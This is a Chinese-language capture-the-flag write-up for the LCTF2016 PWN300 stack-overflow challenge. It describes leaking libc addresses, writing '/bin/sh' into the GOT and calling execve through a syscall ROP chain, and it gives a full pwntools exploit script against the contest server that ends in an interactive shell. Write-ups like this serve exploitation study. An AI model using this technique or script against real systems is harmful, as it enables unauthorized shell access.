LCTF2016 PWN300

程序&&漏洞

link: pwn300

程序很简单,漏洞也很明显

粗暴的栈溢出,但是程序运行需要两个比较特殊的库

libgetshell显然是出题人自己写的,那么libio是个什么东西?
果断google之,找了各种有libio的库装了试试了装都没什么用,后来队友告诉我只要把libc改成libio就行了。。。

开头想直接远程leak函数地址找libc,但是libcdb.com和libc-database各种找找不着,估计服务器上面那个libio(libc)也是出题人自己写的
于是尝试dump整个libc,但是没有合适的控制rdx的gadget,无法控制一次read的字节数,没办法完整的dump出整个libc,本地不能直接用
不过用IDA分析代码段还是足够的
果不其然,libc里只有read,write和exit三个函数以及相应的syscall

利用

因为有syscall,想办法控制rax为0x3b来执行execuv,利用libc里的syscall_0来执行read,将’/bin/sh’和syscall的地址写入got尾部
然后再执行read,控制rax,利用程序0x400480处的gadget,控制各寄存器的值来执行execuv(‘/bin/sh’, 0, 0)

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
context.log_level = 'debug'
#p = process('./pwn300')
p = remote('119.28.63.211', 2339)
elf = ELF('./pwn300')
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
write_got = elf.got['write']
exit_got = elf.got['exit']
plt_start = 0x400430
link_map_addr = 0x0000000000601008
flag_got = 0x0000000000601028
unk_addr = 0x0000000000400501
main_addr = 0x0000000004004A9
rdi_ret = 0x00000000004004a5
rsi_r15_ret = 0x00000000004004a3
test_addr = 0x0000000004004CA
fuck_me = 0x000000000400511
write_sth = 0x00000000004004B1
bx_bp_12_13_14_15 = 0x000000000040049C
call_r12 = 0x0000000000400484
call_write = 0x00000000004004C5
offset_syscall_0 = 0x43a
offset_syscall_1 = 0x40a
offset_read = 0x46a
offset_syscall = 0x466
p.recvuntil('fuck me!\n')
raw_input()
payload = ''
payload += 'A' * 0x28
payload += p64(rdi_ret) + p64(0x01)
payload += p64(rsi_r15_ret) + p64(read_got) + p64(0x00)
payload += p64(write_plt) + p64(main_addr)
p.send(payload.ljust(0xa0, '\x00'))
read_addr = u64(p.recvuntil('fuck me!\n', drop = True)[:8])
log.info('read addr ' + hex(read_addr))
libc_base = read_addr - offset_read
syscall_0_addr = libc_base + offset_syscall_0
syscall_1_addr = libc_base + offset_syscall_1
syscall_addr = libc_base + offset_syscall
payload = ''
payload += 'A' * 0x28
payload += p64(rdi_ret) + p64(0x00)
payload += p64(rsi_r15_ret) + p64(exit_got) + p64(0x00)
payload += p64(syscall_0_addr)
payload += p64(rdi_ret) + p64(0x01)
payload += p64(rsi_r15_ret) + p64(exit_got) + p64(0x00)
payload += p64(syscall_1_addr) + p64(main_addr)
p.send(payload.ljust(0xa0, '\x00'))
payload = '/bin/sh' + '\x00'
payload += p64(syscall_addr)
payload = payload.ljust(58, '\x00')
payload += '\n'
p.send(payload)
p.recvuntil('fuck me!\n')
payload = ''
payload += 'A' * 0x28
payload += p64(rdi_ret) + p64(0x00)
payload += p64(rsi_r15_ret) + p64(exit_got + 0x10) + p64(0x00)
payload += p64(syscall_0_addr)
payload += p64(bx_bp_12_13_14_15)
payload += p64(0x00) * 2
payload += p64(exit_got + 0x08)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(exit_got)
payload += p64(call_r12) + p64(main_addr)
log.info(hex(len(payload)))
p.send(payload)
p.send('A' * 58 + '\n')
#p.send('\n')
p.interactive()

后记

比赛结束后看别的队伍的writeup,libgetshell里面有个getshell函数,直接往里跳就行了。。。

(可能是我dump的姿势不对,dump出来的libgetshell里面啥都没

文章目录
  1. 1. 程序&&漏洞
  2. 2. 利用
  3. 3. 后记
|